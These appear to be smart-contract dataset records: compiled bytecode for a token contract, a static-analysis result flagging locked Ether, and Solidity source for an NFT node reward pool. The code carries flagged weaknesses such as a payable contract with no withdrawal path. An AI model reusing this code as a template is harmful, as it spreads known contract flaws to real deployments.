9080359060200190929190505050610af6565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b50610316610b1f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033e57600080fd5b50610347610b32565b604051808215151515815260200191505060405180910390f35b34801561036d57600080fd5b506103ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b45565b604051808215151515815260200191505060405180910390f35b3480156103d257600080fd5b506103f160048036038101908080359060200190929190505050610d2d565b005b3480156103ff57600080fd5b5061043e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b34801561046457600080fd5b5061048360048036038101908080359060200190929190505050610fcb565b604051808215151515815260200191505060405180910390f35b3480156104a957600080fd5b506104de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611199565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111e2565b604051808215151515815260200191505060405180910390f35b34801561052f57600080fd5b506105386112aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b5061058f6112d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cf5780820151818401526020810190506105b4565b50505050905090810190601f1680156105fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061657600080fd5b50610655600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136e565b604051808215151515815260200191505060405180910390f35b34801561067b57600080fd5b506106b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611395565b6040518082815260200191505060405180910390f35b3480156106d257600080fd5b50610711600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561073757600080fd5b50610756600480360381019080803590602001909291905050506115a9565b604051808215151515815260200191505060405180910390f35b34801561077c57600080fd5b506107d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611777565b6040518082815260200191505060405180910390f35b3480156107f357600080fd5b50610908600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117fe565b005b34801561091657600080fd5b5061094b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e75565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f65780601f106109cb576101008083540402835291602001916109f6565b820191906000526020600020905b8154815290600101906020018083116109d957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000610b0184611fcd565b1515610b0c57600080fd5b610b17848484612191565b509392505050565b600660009054906101000a900460ff1681565b600f60149054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba357600080fd5b600360149054906101000a900460ff16151515610bbf57600080fd5b610bd48260005461251590919063ffffffff16565b600081905550610c2c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610d373382612533565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e4b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610edf565b610e5e83826126e990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561101a57600080fd5b6000821115151561102a57600080fd5b611073600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126e9565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ff600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612515565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f836040518082815260200191505060405180910390a260019050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124057600080fd5b600360149054906101000a900460ff1615151561125c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113665780601f1061133b57610100808354040283529160200191611366565b820191906000526020600020905b81548152906001019060200180831161134957829003601f168201915b505050505081565b600061137933611fcd565b151561138457600080fd5b61138e8383612702565b5092915050565b60076020528060005260406000206000915090505481565b600061143e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156115f857600080fd5b6000821115151561160857600080fd5b611651600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126e9565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116dd600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612515565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0836040518082815260200191505060405180910390a260019050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415151561189657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141515156118d257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561190e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561194a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561198657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119c257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156119fe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3a57600080fd5b60001515600f60149054906101000a900460ff161515141515611a5c57600080fd5b87600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555086600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c9b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a06342fd08f00f637800000610b45565b50611cd3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a2b6d4eb3e906bb84800000610b45565b50611d0b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a18d0bf423c03d8de000000610b45565b50611d43600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a09ed194db19b238c000000610b45565b50611d7b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a09ed194db19b238c000000610b45565b50611db3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a09ed194db19b238c000000610b45565b50611deb600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a09ed194db19b238c000000610b45565b50611e23600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a09ed194db19b238c000000610b45565b506001600f60146101000a81548160ff0219169083151502179055507f204ae63e8e2c53ff49bbe2a958b838e0dce44b8502dc37927c3877c4d9b13cd760405160405180910390a15050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ed157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f0d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561202f5750635c2aad8042105b1561203d576000905061218c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561209d5750635e0be10042105b156120ab576000905061218c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561210b5750635fee660042105b15612119576000905061218c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561217957506361cf998042105b15612187576000905061218c565b600190505b919050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156121e157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561226c57600080fd5b6122be82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561252957fe5b8091505092915050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561258157600080fd5b6125d381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262b816000546126e990919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008282111515156126f757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561273f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561278d57600080fd5b6127df82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582045244786545bf9eb4d7014dc76149f445074b95fc2e03e1a3f50580ef5aa06fc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,425
0x4d61382f957aa34133c9cad2323bb1614e9da583
/** *Submitted for verification at Etherscan.io on 2022-03-05 */ /** *Submitted for verification at Etherscan.io on 2022-02-26 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function add32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } function div(uint256 x, uint256 y) internal pure returns(uint256 z){ require(y > 0); z=x/y; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract OwnableData { address public owner; address public NKRI; address public Nodes; address public pendingOwner; } contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } function setNKRIAddress(address _nkri) public { require(msg.sender == owner, "Ownable: caller is not the owner"); NKRI = _nkri; } function setNodesAddress(address _nodes) public { require(msg.sender == owner, "Ownable: caller is not the owner"); Nodes = _nodes; } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } /// @notice Only allows the `owner` to execute the function. modifier onlyNKRI() { require(msg.sender == NKRI, "Ownable: caller is not the NKRI"); _; } modifier onlyNodes() { require(msg.sender == Nodes, "Ownable: caller is not the nodes"); _; } } contract rewardPool is Ownable { using LowGasSafeMath for uint; using LowGasSafeMath for uint32; struct NftData{ uint nodeType; address owner; uint256 lastClaim; } uint256[5] public rewardRates; IUniswapV2Router02 public uniswapV2Router; mapping (uint => NftData) public nftInfo; uint totalNodes = 0; constructor(address _nkriAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; NKRI = _nkriAddress; } receive() external payable { } function addNodeInfo(uint _nftId, uint _nodeType, address _owner) external onlyNodes returns (bool success) { require(nftInfo[_nftId].owner == address(0), "Node already exists"); nftInfo[_nftId].nodeType = _nodeType; nftInfo[_nftId].owner = _owner; nftInfo[_nftId].lastClaim = block.timestamp; totalNodes += 1; return true; } function updateNodeOwner(uint _nftId, address _owner) external onlyNodes returns (bool success) { require(nftInfo[_nftId].owner != address(0), "Node does not exist"); nftInfo[_nftId].owner = _owner; return true; } function updateRewardRates(uint256[5] memory _rewardRates) external onlyOwner { // Reward rate per day for each type of node (1e9 = 1 Sin) for (uint i = 1; i < totalNodes; i++) { claimReward(i); } rewardRates = _rewardRates; } function pendingRewardFor(uint _nftId) public view returns (uint256 _reward) { uint _nodeType = nftInfo[_nftId].nodeType; uint _lastClaim = nftInfo[_nftId].lastClaim; uint _daysSinceLastClaim = ((block.timestamp - _lastClaim).mul(1e9)) / 86400; _reward = (_daysSinceLastClaim * rewardRates[_nodeType-1]).div(1e9); return _reward; } function claimReward(uint _nftId) public returns (bool success) { uint _reward = pendingRewardFor(_nftId); nftInfo[_nftId].lastClaim = block.timestamp; IERC20(NKRI).transfer(nftInfo[_nftId].owner, _reward); return true; } }
